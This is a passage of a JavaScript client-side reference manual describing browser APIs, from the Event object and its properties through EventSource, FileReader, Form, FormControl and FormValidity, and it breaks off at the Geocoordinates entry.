When an event handler is invoked, it is passed an Event object whose properties give details about the event, such as the type of event and the element on which it occurred. The methods of this Event object can control the propagation of the event. All modern browsers implement a standard event model, except IE, which, in version 8 and before, defines its own incompatible model. This page documents the standard event object properties and methods and the IE alternatives to them, and also covers the jQuery event object, which emulates a standard event object for IE. Read more about events in Chapter 17 and more about jQuery events in §19.4.

In the standard event model, different kinds of events have different kinds of event objects associated with them: mouse events have a MouseEvent object with mouse-related properties, for example, and keyboard events have a KeyEvent with key-related properties. Both the MouseEvent and KeyEvent types share a common Event superclass. In the IE and jQuery event models, however, a single Event object type is used for all events that can occur on Element objects. Event properties that are specific to keyboard events won't have a useful value when a mouse event occurs, but those properties will still be defined. For simplicity, this page collapses the event hierarchy and documents the properties for all events that can be delivered to Element objects (and that then bubble up to the Document and Window objects).

Originally, almost all client-side JavaScript events were triggered on document elements, and it is therefore natural to lump the properties of document-related event objects together like this. But HTML5 and related standards introduce a number of new event types that are triggered on objects that are not document elements. These event types often have Event types of their own, and those types are covered on their own reference pages. See `BeforeUnloadEvent`, `CloseEvent`, `ErrorEvent`, `HashChangeEvent`, `MessageEvent`, `PageTransitionEvent`, `PopStateEvent`, `ProgressEvent`, and `StorageEvent`.

Most of those event object types extend Event. Other new HTML5-related event types do not define an event object type of their own—the object associated with those events is just an ordinary Event object. This page documents that "ordinary" Event object plus the properties of some of its subtypes. The properties marked with an asterisk in the list below are the ones that are defined by the Event type itself. These are the properties that are inherited by event types like `MessageEvent` and are the properties that are defined for simple, ordinary events like the load event of the Window object and the playing event of a MediaElement object.

Constants

These constants define the values of the `eventPhase` property. That property, and these constants, are not supported in the IE event model.

`unsigned short` **`CAPTURING_PHASE`** `= 1`

The event is being dispatched to capturing event handlers registered on ancestors of its target.

`unsigned short` **`AT_TARGET`** `= 2`

The event is being dispatched at its target.

`unsigned short` **`BUBBLING_PHASE`** `= 3`
: The event is bubbling and is being dispatched on ancestors of its target.

Properties

The properties listed here are defined by the standard event model for Event objects and also for the event objects associated with mouse and key events. Properties from the IE and jQuery event models are also listed. Properties with an asterisk are defined directly by Event and are universally available on any standard Event object, regardless of the event type.

`readonly boolean` **`altKey`**
: Whether the Alt key was held down when the event occurred. Defined for mouse and key events and also by IE events.

`readonly boolean` **`bubbles`***
: `true` if the event is of a type that bubbles (unless `stopPropagation()` is called); `false` otherwise. Not defined by IE events.

`readonly unsigned short` **`button`**
: Which mouse button changed state during a mousedown, mouseup, or click event. A value of 0 indicates the left button, a value of 2 indicates the right button, and a value of 1 indicates the middle mouse button. Note that this property is defined when a button changes state; it is not used to report whether a button is held down during a mousemove event, for example. Also, this property is not a bitmap: it cannot tell you if more than one button is held down. Finally, some browsers only generate events for left button clicks.

  IE events define an incompatible `button` property. In that browser, this property is a bit mask: the 1 bit is set if the left button was pressed, the 2 bit is set if the right button was pressed, and the 4 bit is set if the middle button (of a three-button mouse) was pressed. jQuery does not emulate the standard `button` property in IE, but see the `which` property instead.

`readonly boolean` **`cancelable`***
: `true` if the default action associated with the event can be canceled with `preventDefault()`; `false` otherwise. Defined by all standard event types, but not by IE events.

`boolean` **`cancelBubble`**
: In the IE event model, if an event handler wants to stop an event from being propagated up to containing objects, it must set this property to `true`. Use the `stopPropagation()` method for standard events.

`readonly integer` **`charCode`**
: For keypress events, this property is the Unicode encoding of the printable character that was generated. This property is 0 for nonprinting function keys and is not used for keydown and keyup events. Use `String.fromCharCode()` to convert this value to a string. Most browsers set `keyCode` to the same value as this property for keypress events. In Firefox, however, `keyCode` is undefined for keypress events and you must use `charCode`. This property is nonstandard and is not defined in IE events or emulated by jQuery.

`readonly long` **`clientX`**
`readonly long` **`clientY`**

The X and Y coordinates of the mouse pointer relative to the *client area*, or browser window. Note that these coordinates do not take document scrolling into account; if an event occurs at the very top of the window, `clientY` is 0 regardless of how far down the document has been scrolled. These properties are defined for all types of mouse events. These properties are defined for IE events as well as standard events. See also `pageX` and `pageY`.

`readonly boolean` **`ctrlKey`**

Whether the Ctrl key was held down when the event occurred. Defined for mouse and key events and also by IE events.

`readonly EventTarget` **`currentTarget`***

The Element, Document, or Window that is currently handling this event. During capturing and bubbling, this is different from `target`. Not defined by IE events but emulated by jQuery events.

`readonly DataTransfer` **`dataTransfer`**

For drag-and-drop events, this property specifies the `DataTransfer` object that coordinates the entire drag-and-drop operation. Drag-and-drop events are a kind of mouse event; any event that has this property set will also have `clientX`, `clientY`, and other mouse event properties. The drag-and-drop events are dragstart; drag and drag end on the drag source; and dragenter, dragover, dragleave, and drop on the drop target. See `DataTransfer` and §17.7 for details on drag-and-drop operations.

`readonly boolean` **`defaultPrevented`***

`true` if `defaultPrevented()` has been called on this event or `false` otherwise. This is a new addition to the standard event model and may not be implemented in all browsers. (jQuery events define an `isDefaultPrevented()` method that works like this property.)

`readonly long` **`detail`**

A numeric detail about the event. For click, mousedown, and mouseup events, this field is the click count: 1 for a single-click, 2 for a double-click, 3 for a triple-click, and so on. In Firefox, DOMMouseScroll events use this property to report mousewheel scroll amounts.

`readonly unsigned short` **`eventPhase`***

The current phase of event propagation. The value is one of the three constants defined above. Not supported by IE events.

`readonly boolean` **`isTrusted`***

`true` if this event was created and dispatched by the browser or `false` if it is a synthetic event that was created and dispatched by JavaScript code. This is a relatively new addition to the standard event model and may not be implemented by all browsers.

`readonly Element` **`fromElement`**

For mouseover and mouseout events in IE, `fromElement` refers to the object from which the mouse pointer is moving. For standard events, use the `relatedTarget` property.

`readonly integer` **`keyCode`**
The virtual keycode of the key that was pressed. This property is used for all types of keyboard events. Keycodes may be browser-, OS-, and keyboard-hardware-dependent. Typically, when a key displays a printing character on it, the virtual keycode for that key is the same as the encoding of the character. Key codes for nonprinting function keys may vary more, but see Example 17-8 for a set of commonly used codes. This property has not been standardized but is defined by all browsers, including IE.

`readonly boolean` **`metaKey`**
Whether the Meta key was held down when the event occurred. Defined for mouse and key events and also by IE events.

`readonly integer` **`offsetX, offsetY`**
For IE events, these properties specify the coordinates at which the event occurred within the coordinate system of the event's source element (see `srcElement`). Standard events have no equivalent properties.

`readonly integer` **`pageX, pageY`**
These nonstandard, but widely supported, properties are like `clientX` and `clientY`, but use document coordinates rather than window coordinates. IE events do not define these properties, but jQuery emulates them for all browsers.

`readonly EventTarget` **`relatedTarget`***
Refers to an event target (usually a document element) that is related to the `target` node of the event. For mouseover events, it is the element the mouse left when it moved over the target. For mouseout events, it is the element the mouse entered when leaving the target. This property is not defined by IE events but is emulated by jQuery events. See the IE properties `fromElement` and `toElement`.

`boolean` **`returnValue`**
For IE events, set this property to `false` to cancel the default action of the source element on which the event occurred. For standard events, use the `preventDefault()` method instead.

`readonly long` **`screenX, screenY`**
For mouse events, these properties specify the X and Y coordinates of the mouse pointer relative to the upper left corner of the user's monitor. These properties are not generally useful but are defined for all types of mouse events and are supported by standard events and IE events.

`readonly boolean` **`shiftKey`**
Whether the Shift key was held down when the event occurred. Defined for mouse and key events and also by IE events.

`readonly EventTarget` **`srcElement`**
For IE events, this property specifies the object on which the event was triggered. For standard events, use `target` instead.

`readonly EventTarget` **`target`***
: The target object for this event—i.e., the object on which the event was triggered. (All objects that can be event targets implement the methods of `EventTarget`.) This property is not defined for IE events, but it is emulated by jQuery events. See `srcElement`.

`readonly unsigned long` **`timeStamp`***
: A number that specifies the date and time at which the event occurred or that can at least be used to determine the order in which two events occurred. Many browsers return a timestamp that you can pass to the `Date()` constructor. In Firefox 4 and before, however, this property is some other kind of timestamp, such as the number of milliseconds since the computer was booted. IE events do not support it. jQuery sets this property to a timestamp in the format returned by `Date.getTime()`.

`Element toElement`
: For mouseover and mouseout events in IE, `toElement` refers to the object into which the mouse pointer is moving. For standard events, use `relatedTarget` instead.

`readonly string` **`type`***
: The name of the event that this Event object represents. This is the name under which the event handler was registered or the name of the event-handler property with the leading "on" removed—for example, "click", "load", or "submit". This property is defined by standard events and IE events.

`readonly Window` **`view`**
: The window (called a "view" for historical reasons) in which the event was generated. This property is defined for all standard user-interface events, such as mouse and keyboard events. It is not supported in IE events.

`readonly integer` **`wheelDelta`**
: For mousewheel events, this property specifies the amount of scrolling that has occurred in the Y axis. Different browsers set different values on this property: see §17.6 for details. This is a nonstandard property but is supported by all browsers, including IE8 and before.

`readonly integer` **`wheelDeltaX`**
`readonly integer` **`wheelDeltaY`**
: For mousewheel events in browsers that support two-dimensional mouse wheels, these properties specify the amount of scrolling in the X and Y dimensions. See §17.6 for an explanation of how to interpret these properties. If `wheelDeltaY` is defined, it will have the same value as the `wheelDelta` property.

`readonly integer` **`which`**
: This nonstandard legacy property is supported by browsers other than IE and is emulated in jQuery. For mouse events, it is one more than the `button` property: 1 means the left button, 2 means the middle button, and 3 means the right button. For key events, it has the same value as `keyCode`.

Methods

All of these methods are defined by the Event class itself, so they are each available on any standard Event object.

`void initEvent(string type, boolean bubbles, boolean cancelable)`

This method initializes the `type`, `bubbles`, and `cancelable` properties of an Event object. Create a new event object by passing the string "Event" to the `createEvent()` method of `Document`. Then, after initializing it with this method, dispatch it on any `EventTarget` by passing it to the `dispatchEvent()` method of that target. The other standard event properties (besides `type`, `bubbles`, and `cancelable`) will be initialized by the dispatch. If you want to create, initialize, and dispatch a more complicated synthetic event, you'll have to pass a different argument (such as "MouseEvent") to `createEvent()` and then initialize the event object with a type-specific initializing function such as `initMouseEvent()` (not documented in this book).

`void preventDefault()`

Tells the web browser not to perform the default action associated with this event, if there is one. If the event is not of a type that is cancelable, this method has no effect. This method is not defined on IE event objects, but is emulated by jQuery. In the IE event model, set the `returnValue` property to `false` instead.

`void stopImmediatePropagation()`

Like `stopPropagation()`, but in addition, prevent the invocation of any other handlers registered on the same document element. This method is a new addition to the standard event model and may not be implemented in all browsers. It is not supported in the IE event model but is emulated by jQuery.

`void stopPropagation()`

Stops the event from propagating any further through the capturing, target, or bubbling phases of event propagation. After this method is called, any other event handlers for the same event on the same node are called, but the event is not dispatched to any other nodes. This method is not supported in the IE event model, but it is emulated by jQuery. In IE, set `cancelBubble` to true instead of calling `stopPropagation()`.

Proposed Properties

The properties listed here are proposed by the current draft of the DOM Level 3 Events specification. They address key areas of incompatibility among today's browsers but are not yet (at the time of this writing) implemented by any browsers. If implemented interoperably they will make it much easier to write portable code to handle text input events, key events, and mouse events.

`readonly unsigned short buttons`
: This property is like IE's version of the `button` property described above.

`readonly string char`
: For keyboard events, this property holds the character string (which may have more than one character) generated by the event.

`readonly string data`
: For textinput events, this property specifies the text that was input.

`readonly unsigned long deltaMode`
: For wheel events, this property specifies the appropriate interpretation of the `deltaX`, `deltaY`, and `deltaZ` properties. The value of this property will be one of these constants:

DOM_DELTA_PIXEL, DOM_DELTA_LINE, DOM_DELTA_PAGE. The value of this property is determined in a platform-dependent way. It may depend on system preferences or on keyboard modifiers held down during the wheel event.

`readonly long` **`deltaX, deltaY, deltaZ`**
For wheel events, these properties specify how much the mousewheel rotated around each of its three possible axes.

`readonly unsigned long` **`inputMethod`**
For textinput events, this property specifies how the text was input. The value will be one of these constants: DOM_INPUT_METHOD_UNKNOWN, DOM_INPUT_METHOD_KEYBOARD, DOM_INPUT_METHOD_PASTE, DOM_INPUT_METHOD_DROP, DOM_INPUT_METHOD_IME, DOM_INPUT_METHOD_OPTION, DOM_INPUT_METHOD_HANDWRITING, DOM_INPUT_METHOD_VOICE, DOM_INPUT_METHOD_MULTIMODAL, DOM_INPUT_METHOD_SCRIPT.

`readonly string` **`key`**
For keyboard events that generate characters, this property has the same value as `char`. If the keyboard event did not generate characters, this property holds the name of the key (such as "Tab" or "Down") that was pressed.

`readonly string` **`locale`**
For keyboard events and textinput events, this property specifies a language code (such as "en-GB") that identifies the locale for which the keyboard was configured, if that information is known.

`readonly unsigned long` **`location`**
For keyboard events, this property specifies the keyboard location of the key that was pressed. The value will be one of these constants: DOM_KEY_LOCATION_STANDARD, DOM_KEY_LOCATION_LEFT, DOM_KEY_LOCATION_RIGHT, DOM_KEY_LOCATION_NUMPAD, DOM_KEY_LOCATION_MOBILE, DOM_KEY_LOCATION_JOYSTICK.

`readonly boolean` **`repeat`**
For keyboard events, this property will be `true` if the event was caused because a key was held down long enough to begin repeating.

Proposed Method

Like the Proposed Properties listed above, the method listed here has been proposed in a draft standard but not yet implemented by any browsers.

`boolean` **`getModifierState`**`(string` *`modifier`*`)`
For mouse and keyboard events, this method returns `true` if the specified *`modifier`* key was held down when the event occurred, or `false` otherwise. *`modifier`* may be one of the strings "Alt", "AltGraph", "CapsLock", "Control", "Fn", "Meta", "NumLock", "Scroll", "Shift", "SymbolLock", and "Win".

EventSource

a Comet connection to an HTTP server — EventTarget

An EventSource represents a long-lived HTTP connection through which a Web server can "push" textual messages. To use these "Server Sent Events", pass the server URL to the `EventSource()` constructor and then register a message event handler on the resulting `EventSource` object.

Server Sent Events are new, and at the time of this writing, are not supported in all browsers.

Constructor

```
new EventSource(string url)
```

Creates a new `EventSource` object connected to the web server at the specified *`url`*. *`url`* is interpreted relative to the URL of the containing document.

Constants

These constants define the possible values of the readyState property.

`unsigned short CONNECTING = 0`
: The connection is being set up, or the connection closed and the EventSource is re-connecting.

`unsigned short OPEN = 1`
: The connection is open and events are being dispatched.

`unsigned short CLOSED = 2`
: The connection was closed, either because `close()` was called or a fatal error occurred and it is not possible to reconnect.

Properties

`readonly unsigned short readyState`
: The state of the connection. The constants above define the possible values.

`readonly string url`
: The absolute URL to which the EventSource is connected.

Methods

```
void close()
```

This method closes the connection. Once this method is called, the EventSource object can no longer be used. If you need to connect again, create a new EventSource.

Event Handlers

Network communication is asynchronous, so EventSource triggers events when the connection opens, when an error occurs, and when messages arrive from the server. You can register event handlers on the properties listed here, or you can use the methods of `EventTarget` instead. EventSource events are all dispatched on the EventSource object itself. They do not bubble and have no default action that can be canceled.

`onerror`
: Triggered when an error occurs. The associated event object is a simple `Event`.

`onmessage`
: Triggered when a message arrives from the server. The associated event object is an MessageEvent, and the text of the server's message is available through the `data` property of that object.

`onopen`
: Triggered when the connection opens. The associated event object is a simple `Event`.

EventTarget

an object that receives events

Objects that have events fired on them or objects to which events bubble need to have a way to define handlers for those events. These objects typically define event handler registration properties whose names begin with "on", and they also typically define the methods described here. Event handler registration is a surprisingly complex topic. See §17.2 for details, and note, in particular, that IE8 and before use different methods, described in a special section following, than all other browsers do.

Methods

`void` **`addEventListener`**`(string` *`type`*`, function` *`listener`*`, [boolean` *`useCapture`*`])`

This method registers the specified *`listener`* function as an event handler for events of the specified *`type`*. *`type`* is an event name string and does not include an "on" prefix. The *`useCapture`* argument should be `true` if this is a capturing event handler (see §17.2.3) being registered on a document ancestor of the true event target. Note that some browsers still require you to pass a third argument to this function, and you must pass `false` to register an ordinary noncapturing handler.

`boolean` **`dispatchEvent`**`(Event` *`event`*`)`

This method dispatches a synthetic *`event`* to this event target. Create a new Event object with `document.createEvent()`, passing the event name (such as "event" for simple events). Next, call the event initialization method for the Event object you created: for a simple event, this will be `initEvent()` (see `Event`). Next, pass the initialized event to this method to dispatch it. In modern browsers, every Event object has an `isTrusted` property. That property will be `false` for any synthetic event dispatched by JavaScript.

Every kind of event object defines a type-specific initialization method. Those methods are infrequently used, have long and cumbersome argument lists, and are not documented in this book. If you need to create, initialize, and dispatch synthetic events of some type more complex than a basic `Event`, you'll have to look up the initialization method online.

`void` **`removeEventListener`**`(string` *`type`*`, function` *`listener`*`, [boolean` *`useCapture`*`])`

This method removes a registered event *`listener`* function. It takes the same arguments as `addEventListener()`.

Internet Explorer Methods

IE8 and before do not support `addEventListener()` and `removeEventListener()`. Instead, they implement these two methods, which are quite similar. (§17.2.4 lists a few important differences.)

```
void attachEvent(string type, function listener)
```

Register the specified *`listener`* function as an event handler for events of the specified *`type`*. Note that this method expects *`type`* to include the prefix "on" before the event name.

```
void detachEvent(string type, function listener)
```

This method works like `attachEvent()` in reverse.

FieldSet

a <fieldset> in an HTML form — Node, Element, FormControl

The FieldSet object represents a `<fieldset>` in an HTML `<form>`. FieldSets implement most, but not all, of the properties and methods of `FormControl`.

Properties

`boolean` **`disabled`**
: `true` if the FieldSet is disabled. Disabling a FieldSet disables the form controls it contains.

`readonly HTMLFormControlsCollection` **`elements`**
: An array-like object of all form controls contained within this `<fieldset>`.

File

a file in the local filesystem — Blob

A File is a Blob that has a name and possibly also a modification date. It represents a file in the local file system. Obtain a user-selected file from the `files` array of an `<input type=file>` element, or from the `files` array of the `DataTransfer` object associated with the `Event` object that accompanies a drop event.

You can also obtain File objects that represent files in a private, sandboxed filesystem, as described in §22.7. The filesystem API is not stable at the time of this writing, however, and it is not documented in this reference section.

You can upload the contents of a file to a server with a `FormData` object or by passing the File to `XMLHttpRequest.send()`, but there is not much else you can do with the File object itself. Use `FileReader` to read the contents of a File (or of any Blob).

Properties

`readonly Date` **`lastModifiedDate`**
: The modification date of the file, or `null` if it is not available.

`readonly string name`
: The name of the file (but not its path).

FileError

error while reading a file

A FileError object represents an error that occurred when reading a file with `FileReader` or `FileReaderSync`. If the synchronous API is used, the FileError object is thrown. If the asynchronous API is used, the FileError object is the value of the `error` property of the FileReader object when the error event is dispatched.

Note that the FileWriter API (which is described in §22.7, but is not stable enough to document in this reference section) adds new error code constants to this object.

Constants

The FileError error codes are the following:

`unsigned short NOT_FOUND_ERR = 1`
: The file does not exist. (Perhaps it was deleted after the user selected it, but before your program attempted to read it.)

`unsigned short SECURITY_ERR = 2`
: Unspecified security issues prevent the browser from allowing your code to read the file.

`unsigned short ABORT_ERR = 3`
: The attempt to read the file was aborted.

`unsigned short NOT_READABLE_ERR = 4`
: The file is not readable, perhaps because its permissions have changed or because another process has locked it.

`unsigned short ENCODING_ERR = 5`
: A call to `readAsDataURL()` failed because the file was too long to encode in a `data:// URL`.

Properties

`readonly unsigned short code`
: This property specifies what kind of error occurred. Its value is one of the constants above.

FileReader

asynchronously read a File or Blob — EventTarget

A FileReader defines an asynchronous API for reading the content of a File or any Blob. To read a file, follow these steps:

- Create a FileReader with the `FileReader()` constructor.
- Define whichever event handlers you need.
- Pass your File or Blob object to one of the four read methods.

Download from Wow! eBook <www.wowebook.com>

- When your `onload` handler is triggered, the file contents are available as the `result` property. Or, if the `onerror` handler is triggered, the `error` property refers to a FileError object that provides more information.
- When the read is complete, you can reuse the FileReader object or discard it and create new ones as needed.

See `FileReaderSync` for a synchronous API that you can use in worker threads.

Constructor

```
new FileReader()
```

Create a new FileReader object with the `FileReader()` constructor, which expects no arguments.

Constants

These constants are the values of the `readyState` property:

`unsigned short EMPTY = 0`
: No read method has been called yet.

`unsigned short LOADING = 1`
: A read is in progress.

`unsigned short DONE = 2`
: A read has completed successfully or with an error.

Properties

`readonly FileError error`
: If an error occurs during a read, this property will refer to a `FileError` that describes the error.

`readonly unsigned short readyState`
: This property describes the current state of the FileReader. Its value will be one of the three constants listed above.

`readonly any result`
: If the read completed successfully, this property will hold the File or Blob contents as a string or ArrayBuffer (depending on which read method was called). When `readyState` is LOADING or when a progress event is fired, this property may contain partial contents of the File or Blob. If no read method has been called or if an error has occurred, this property will be `null`.

Methods

`void abort()`

This method aborts a read. It sets `readyState` to `DONE`, sets `result` to `null`, and sets `error` to a `FileError` object with a `code` of `FileError.ABORT_ERR`. Then it fires an abort event and a loadend event.

`void readAsArrayBuffer(Blob blob)`

Asynchronously read the bytes of *blob* and make them available as an ArrayBuffer on the `result` property.

`void readAsBinaryString(Blob blob)`

Asynchronously read the bytes of *blob*, encode them as a JavaScript binary string, and set the `result` property to the resulting string. Each "character" in a JavaScript binary string has a character code between 0 and 255. Use `String.charCodeAt()` to extract these byte values. Note that binary strings are an inefficient representation of binary data: when possible you should use ArrayBuffers instead.

`void readAsDataURL(Blob blob)`

Asynchronously read the bytes of *blob*, encode them (along with the type of the Blob) into a `data:// URL`, and set the `result` property to the resulting string.

`void readAsText(Blob blob, [string encoding])`

Asynchronously read the bytes of *blob* and decode them using the specified *encoding* into a string of Unicode text and then set the `result` property to that decoded string. If encoding is not specified, UTF-8 will be used (UTF-16 encoded text is also automatically detected and decoded if it begins with a Byte Order Mark).

Event Handlers

Like all asynchronous APIs, FileReader is event based. You can use the handler properties listed here to register event handlers, or you can use the `EventTarget` methods implemented by FileReader.

FileReader events are triggered on the FileReader object itself. They do not bubble and have no default action to cancel. FileReader event handlers are always passed a ProgressEvent object. A successful read begins with a loadstart event, followed by zero or more progress events, a load event, and a loadend event. A unsuccessful read begins with a loadstart event, followed by zero or more progress events, an error or abort event, and a loadend event.

`onabort`
: Triggered if the read is aborted with the `abort()` method.

`onerror`
: Triggered if an error of some sort occurs. The `error` property of the FileReader will refer to a FileError object that has an error code.

`onload`
: Triggered when the File or Blob has been successfully read. The `result` property of the FileReader holds the File or Blob content, in a representation that depends on the read method that was called.

`onloadend`
: Every call to a FileReader read method eventually produces a load event, an error event, or an abort event. The FileReader also triggers a loadend event after each of these events for the benefit of scripts that want to listen for only one event instead of listening for all three.

`onloadstart`
: Triggered after a read method is invoked but before any data has been read.

`onprogress`
: Triggered approximately 20 times a second while File or Blob data is being read. The ProgressEvent object will specify how many bytes have been read, and the `result` property of the FileReader may contain a representation of those bytes.

FileReaderSync

synchronously read a File or Blob

FileReaderSync is a synchronous version of the `FileReader` API, available only to `Worker` threads. The synchronous API is easier to use than the asynchronous one: simply create a `FileReaderSync()` object and then call one of its read methods, which will either return the contents of the File or Blob or throw a FileError object instead.

Constructor

```
new FileReaderSync()
```

Create a new FileReaderSync object with the `FileReaderSync()` constructor, which expects no arguments.

Methods

These methods throw a FileError object if the read fails for any reason.

```
ArrayBuffer readAsArrayBuffer(Blob blob)
```

Read the bytes of *`blob`* and return them as an ArrayBuffer.

```
string readAsBinaryString(Blob blob)
```

Read the bytes of *`blob`*, encode them as a JavaScript binary string (see `String.fromCharCode()`), and return that binary string.

```
string readAsDataURL(Blob blob)
```

Read the bytes of *`blob`*, and encode those bytes, along with the `type` property of *`blob`* into a `data:// URL`, and then return that URL.

```
string readAsText(Blob blob, [string encoding])
```

Read the bytes of *`blob`*, decode them into text using the specified *`encoding`* (or using UTF-8 or UTF-16 if no encoding is specified), and return the resulting string.

Form

a <form> in an HTML document — Node, Element

The Form object represents a `<form>` element in an HTML document. The `elements` property is an HTMLCollection that provides convenient access to all elements of the form. The `submit()` and `reset()` methods allow a form to be submitted or reset under program control.

Each form in a document is represented as an element of the `document.forms[]` array. The elements of a form (buttons, input fields, checkboxes, and so on) are collected in the array-like object `Form.elements`. Named form controls can be referenced directly by name: the control name is used as a property name on the Form object. Thus, to refer to an Input element with a `name` attribute of "phone" within a form `f`, you might use the JavaScript expression `f.phone`.

See §15.9 for more on HTML forms. See `FormControl`, `FieldSet`, `Input`, `Label`, `Select`, and `TextArea` for more on the form controls that can appear in a form.

This page documents HTML5 form features which, at the time of this writing, were not yet widely implemented.

Properties

Most of the properties listed here simply mirror the HTML attributes of the same name.

`string` **`acceptCharset`**
: A list of one or more allowed character sets in which the form data may be encoded for submission.

`string` **`action`**
: The URL to which the form should be submitted.

`string` **`autocomplete`**
: The string "on" or "off". If "on", the browser can prefill form controls with saved values from a previous visit to the page.

`readonly HTMLFormControlsCollection` **`elements`**
: An array-like object of form controls contained by this form.

`string` **`enctype`**
: Specifies the way the values of the form controls are encoded for submission. The legal values of this property are:

- "application/x-www-form-urlencoded" (the default)
- "multipart/form-data"
- "text/plain"

`readonly long` **`length`**
: The number of form controls represented by the `elements` property. Form elements behave as if they themselves were array-like objects of form controls, and for a form `f` and an integer `n`, the expression `f[n]` is the same as `f.elements[n]`.

`string` **`method`**
: The HTTP method used to submit the form to the `action` URL. Either "get" or "post".

`string` **`name`**
: The name of the form, as specified by the HTML `name` attribute. You can use the value of this property as a property name on the document object. The value of that document property will be this Form object.

`boolean` **`noValidate`**
: `true` if the form is not to be validated before submission. Mirrors the HTML `novalidate` attribute.

`string` **`target`**
: The name of a window or frame in which the document returned by form submission is to be displayed.

Methods

`boolean` **`checkValidity`**`()`

In browsers that support form validation, this method checks the validity of each form control. It returns `true` if they are all valid. If any controls are not valid, it fires an invalid event on that control and then returns `false`.

`void` **`dispatchFormChange`**`()`

This method triggers a formchange event on each control in this form. The form usually does this automatically when user input triggers a change event, so you do not normally need to call this method.

`void` **`dispatchFormInput`**`()`

This method triggers a forminput event on each control in this form. The form usually does this automatically when user input triggers an input event, so you do not normally need to call this method.

`void` **`reset`**`()`

Reset all form elements to their default values.

`void` **`submit`**`()`

Submit the form manually, without triggering an submit event.

Event Handlers

These form-related event handler properties are defined on Element, but they are documented in more detail here because they are triggered on Form elements.

`onreset`
: Invoked just before the elements of the form are reset. Return `false` or cancel the event to prevent the reset.

`onsubmit`
: Invoked just before the form is submitted. Return `false` or cancel the event to prevent the submission.

FormControl

common features of all form controls

Most HTML form controls are `<input>` elements, but forms can also contain `<button>`, `<select>`, and `<textarea>` controls. This page documents the features that those element types

have in common. See §15.9 for an introduction to HTML forms, and see `Form`, `Input`, `Select`, and `TextArea` for more on forms and form controls.

The `<fieldset>` and `<output>` elements implement most, but not all, of the properties described here. This reference treats FieldSet and Output objects as FormControls even though they do not implement every property.

This page documents certain HTML5 form features (particularly form validation) which, at the time of this writing, were not yet widely implemented.

Properties

`boolean` **`autofocus`**
: `true` if the control should automatically receive keyboard focus as soon as the document is loaded. (FieldSet and Output controls do not implement this property.)

`boolean` **`disabled`**
: `true` if the form control is disabled. Disabled controls do not respond to user input and are not subject to form validation. (Output elements do not implement this property; FieldSet elements use it to disable all of the controls they contain.)

`readonly Form` **`form`**
: A reference to the Form that is the owner of this control, or `null` if it does not have one. If a control is contained within a `<form>` element, that is its form owner. Otherwise, if the control has an HTML `form` attribute that specifies the ID of a `<form>`, that named form is the form owner.

`readonly NodeList` **`labels`**
: An array-like object of `Label` elements associated with this control. (FieldSet controls do not implement this property.)

`string` **`name`**
: The value of the HTML `name` attribute for this control. A control's name can be used as a property of the Form element: the value of that property is the control element. Control names are also used when submitting a form.

`string` **`type`**
: For `<input>` elements, the type property has the value of the `type` attribute, or the value "text" if no `type` attribute is specified on the `<input>` tag. For `<button>`, `<select>`, and *`textarea`* elements, the type property is "button", "select-one" (or "select-multiple", if the `multiple` attribute is set), and "textarea". For `<fieldset>` elements, the `type` is "fieldset", and for `<output>` elements the type is "output".

`readonly string` **`validationMessage`**
: If the control is valid or is not subject to validation, this property will be the empty string. Otherwise, this property contains a localized string that explains why the user's input is invalid.

`readonly FormValidity` **`validity`**
: This property refers to an object that specifies whether the user's input for this control is valid, and if not, why not.

`string` **`value`**
: Every form control has a string `value` that is used when the form is submitted. For text input controls, the value is the user's input. For buttons, the value is just the value of the HTML `value` attribute. For output elements, this property is like the `textContent` property inherited from `Node`. FieldSet elements do not implement this property.

`readonly boolean` **`willValidate`**
: This property is `true` if the control takes part in form validation, and `false` otherwise.

Event Handlers

Form controls define the following event handler properties. You can also register event handlers using the EventTarget methods implemented by all Elements:

Event Handler	Invoked when
`onformchange`	When a change event is fired on any control in the form, the form broadcasts a nonbubbling formchange event to all of its controls. Controls can use this handler property to detect changes to their sibling controls.
`onforminput`	When an input event is fired on any control in the form, the form broadcasts a nonbubbling forminput event to all of its controls. Controls can use this handler property to detect changes to their sibling controls.
`oninvalid`	If a form control does not validate, an invalid event will be fired on it. This event does not bubble, but if canceled, the browser will not display an error message for the control.

Methods

`boolean` **`checkValidity`**`()`

Returns true if the control is valid (or if it is not subject to validation). Otherwise, it fires an invalid event at the control and returns `false`.

`void` **`setCustomValidity`**`(string` *`error`*`)`

If `error` is a nonempty string, this method marks the control as invalid and uses *`error`* as a localized message when reporting the element's invalidity to the user. If *`error`* is the empty string, any previous *`error`* string is removed and the control is considered valid.

FormData

an HTTP multipart/form-data request body

The FormData type is a feature of XMLHttpRequest Level 2 (XHR2) that makes it easy to perform HTTP PUT requests with multipart/form-data encoding using an `XMLHttpRequest`. Multipart encoding is necessary, for example, if you want to upload multiple `File` objects in a single request.

Create a FormData object with the constructor, and then add name/value pairs to it with the `append()` method. Once you have added all of the parts of your request body, you can pass the FormData to the `send()` method of an XMLHttpRequest.

Constructor

```
new FormData()
```

This no-argument constructor returns an empty FormData object.

Methods

```
void append(string name, any value)
```

This method adds a new part, with the specified *name* and *value*, to the FormData. The *value* argument can be a string or a `Blob` (recall that `File` objects are Blobs).

FormValidity

the validity of a form control

The `validity` property of a `FormControl` refers to a `FormValidity` object that is a live representation of the validity state of that control. If the `valid` property is `false`, the control is not valid, and at least one of the other properties will be `true` to indicate the nature of the validity error (or errors).

Form validation is an HTML5 feature that, at the time of this writing, is not yet widely implemented.

Properties

`readonly boolean` **`customError`**
: A script called `FormControl.setCustomValidity()` on this element.

`readonly boolean` **`patternMismatch`**
: The input does not match the `pattern` regular expression.

`readonly boolean` **`rangeOverflow`**
: The input is too large.

`readonly boolean` **`rangeUnderflow`**
: The input is too small.

`readonly boolean` **`stepMismatch`**
: The input does not match the specified `step`.

`readonly boolean` **`tooLong`**
: The input is too long.

`readonly boolean` **`typeMismatch`**
: The input is of the wrong type.

`readonly boolean` **`valid`**
: If this property is `true`, the form control is valid, and all the other properties are `false`. If this property is `false`, the form control is not valid, and at least one of the other properties is `true`.

`readonly boolean` **`valueMissing`**
: The form element was `required`, but no value was entered.

Geocoordinates

a geographical position

An object of this type represents a position on the surface of the earth.

Properties

`readonly double` **`accuracy`**
: The accuracy of the `latitude` and `longitude` values, in meters.

`readonly double` **`altitude`**
: The altitude, in meters above sea level, or `null` if altitude is not available.

`readonly double` **`altitudeAccuracy`**
: The accuracy, in meters, of the `altitude` property. If `altitude` is `null`, `altitudeAccuracy` will also be `null`.

`readonly double` **`heading`**
: The user's direction of travel, in degrees clockwise from true north, or `null` if the heading is not available. If heading information is available, but `speed` is 0, `heading` will be `NaN`.

`readonly double` **`latitude`**
